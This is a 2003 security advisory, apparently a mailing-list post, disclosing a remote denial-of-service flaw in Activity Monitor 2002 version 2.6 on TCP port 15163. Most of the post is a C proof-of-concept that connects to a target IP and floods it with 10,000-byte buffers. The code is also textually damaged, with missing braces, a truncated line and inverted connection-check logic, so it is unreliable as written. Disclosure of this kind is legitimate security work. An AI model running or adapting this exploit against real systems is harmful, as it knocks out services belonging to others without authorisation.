[NT] Activity Monitor Remote Denial of Service (TCP 15163)

From: SecuriTeam (support_at_securiteam.com)
Date: 05/30/03

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    Date: 30 May 2003 17:16:51 +0200

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      Activity Monitor Remote Denial of Service (TCP 15163)


     <http://www.softactivity.com/> Activity Monitor 2002 is "a monitoring
    software system for real time employee monitoring and continuous tracking
    of users activities on networked computers". A vulnerability in the
    product allows remote attackers to cause the product to crash by sending
    it an arbitrary long buffer.


    Vulnerable systems:
     * Activity Monitor 2002 version 2.6

    By connecting TCP port 15163 and sending a long string, a remote attacker
    could cause the application to crash and exhaust CPU resources.

    #include <stdio.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <netinet/in.h>
    #include <string.h>

    int main(int argc, char **argv)

      int i,ck,port,sd;
      char dos[10000];

      struct sockaddr_in act_mon_server;

      if(argc < 2)
        printf("\nUsage: %s <ip>\n", argv[0]);
      port = 15163;
      for(i = 0; i < 10000; i++) dos[i] = 'x';
      act_mon_server.sin_family = AF_INET;
      act_mon_server.sin_port = htons((u_short)port);
      act_mon_server.sin_addr.s_addr = (long)inet_addr(argv[1]);
      sd = socket(AF_INET, SOCK_STREAM, 0);
      ck = connect(sd, (struct sockaddr *) &act_mon_server, sizeof
      if(ck != 0) {
      printf("\n\t\tProof of Concept Activity Monitor 2002 DoS\n");
      printf("\t\tby Luca Ercoli luca.ercoli@inwind.it\n\n");

      write(sd, dos, sizeof(dos));
      write(sd, dos, sizeof(dos));
      write(sd, dos, sizeof(dos));
      printf("\nDoS sent!\n");



    The information has been provided by <mailto:luca.ercoli@inwind.it> Luca


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